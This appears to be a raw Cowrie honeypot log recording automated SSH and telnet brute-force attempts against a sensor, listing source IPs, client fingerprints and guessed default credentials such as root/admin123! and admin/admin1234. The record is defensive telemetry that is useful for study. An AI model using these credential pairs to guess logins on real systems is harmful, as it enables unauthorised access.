{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:16.196103Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:17.208375Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logon","password":"logon","message":"login attempt [logon/logon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:18.222425Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"anonymous","message":"login attempt [anonymous/anonymous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:19.234915Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:20.248652Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:20.720059Z","src_ip":"154.223.17.178","session":"468a276ab594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":44802,"dst_ip":"10.17.0.5","dst_port":22,"session":"429c5ffa68a9","protocol":"ssh","message":"New connection: 45.123.217.22:44802 (10.17.0.5:22) [session: 429c5ffa68a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:40.121308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:40.128031Z","src_ip":"45.123.217.22","session":"429c5ffa68a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:40.349262Z","src_ip":"45.123.217.22","session":"429c5ffa68a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jq","password":"123456","message":"login attempt [jq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:41.267079Z","src_ip":"45.123.217.22","session":"429c5ffa68a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:42.491915Z","src_ip":"45.123.217.22","session":"429c5ffa68a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":31353,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e7a726952a","protocol":"ssh","message":"New connection: 36.92.41.115:31353 (10.17.0.5:22) [session: 69e7a726952a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:44.654476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:44.658711Z","src_ip":"36.92.41.115","session":"69e7a726952a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:44.917119Z","src_ip":"36.92.41.115","session":"69e7a726952a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"12345","message":"login attempt [dbadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:45.983744Z","src_ip":"36.92.41.115","session":"69e7a726952a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:47.243089Z","src_ip":"36.92.41.115","session":"69e7a726952a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":53980,"dst_ip":"10.17.0.5","dst_port":22,"session":"86b277471f03","protocol":"ssh","message":"New connection: 177.85.247.230:53980 (10.17.0.5:22) [session: 86b277471f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:47.905951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:47.910159Z","src_ip":"177.85.247.230","session":"86b277471f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:48.014921Z","src_ip":"177.85.247.230","session":"86b277471f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:48.463435Z","src_ip":"177.85.247.230","session":"86b277471f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:49.568321Z","src_ip":"177.85.247.230","session":"86b277471f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.3698251247406,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:55.531760Z","src_ip":"128.199.8.54","session":"82a53fe4af7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":60454,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ee62d5000f3","protocol":"ssh","message":"New connection: 102.213.34.99:60454 (159.203.135.109:22) [session: 0ee62d5000f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:55.555583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:55.560427Z","src_ip":"102.213.34.99","session":"0ee62d5000f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:55.731551Z","src_ip":"102.213.34.99","session":"0ee62d5000f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ll123456789","message":"login attempt [root/Ll123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:56.444398Z","src_ip":"102.213.34.99","session":"0ee62d5000f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:57.617283Z","src_ip":"102.213.34.99","session":"0ee62d5000f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b461162ab3cf","protocol":"ssh","message":"New connection: 27.71.230.31:43136 (10.17.0.5:22) [session: b461162ab3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:58.647727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:58.667863Z","src_ip":"27.71.230.31","session":"b461162ab3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:59.434332Z","src_ip":"27.71.230.31","session":"b461162ab3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":58208,"dst_ip":"159.203.135.109","dst_port":22,"session":"85d04db5c989","protocol":"ssh","message":"New connection: 152.32.214.226:58208 (159.203.135.109:22) [session: 85d04db5c989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:59.601256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:59.605732Z","src_ip":"152.32.214.226","session":"85d04db5c989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:57:59.824510Z","src_ip":"152.32.214.226","session":"85d04db5c989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"12345678","message":"login attempt [web/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:00.731556Z","src_ip":"152.32.214.226","session":"85d04db5c989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!","message":"login attempt [root/admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:01.437164Z","src_ip":"27.71.230.31","session":"b461162ab3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:01.954180Z","src_ip":"152.32.214.226","session":"85d04db5c989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:04.111434Z","src_ip":"27.71.230.31","session":"b461162ab3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56586,"dst_ip":"159.203.135.109","dst_port":23,"session":"044720e77244","protocol":"telnet","message":"New connection: 172.81.62.90:56586 (159.203.135.109:23) [session: 044720e77244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:19.203188Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":47878,"dst_ip":"10.17.0.5","dst_port":22,"session":"117c2b5a03d0","protocol":"ssh","message":"New connection: 163.7.9.84:47878 (10.17.0.5:22) [session: 117c2b5a03d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:20.520296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:20.524451Z","src_ip":"163.7.9.84","session":"117c2b5a03d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:20.774266Z","src_ip":"163.7.9.84","session":"117c2b5a03d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"123","message":"login attempt [lucas/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:21.809649Z","src_ip":"163.7.9.84","session":"117c2b5a03d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:23.064051Z","src_ip":"163.7.9.84","session":"117c2b5a03d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40712,"dst_ip":"159.203.135.109","dst_port":23,"session":"9153e8cd8865","protocol":"telnet","message":"New connection: 128.199.8.54:40712 (159.203.135.109:23) [session: 9153e8cd8865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:24.519777Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56444,"dst_ip":"159.203.135.109","dst_port":22,"session":"7225f55ccd98","protocol":"ssh","message":"New connection: 103.27.238.114:56444 (159.203.135.109:22) [session: 7225f55ccd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:43.246838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:43.250735Z","src_ip":"103.27.238.114","session":"7225f55ccd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:58:43.527975Z","src_ip":"103.27.238.114","session":"7225f55ccd98","protocol":"ssh"}
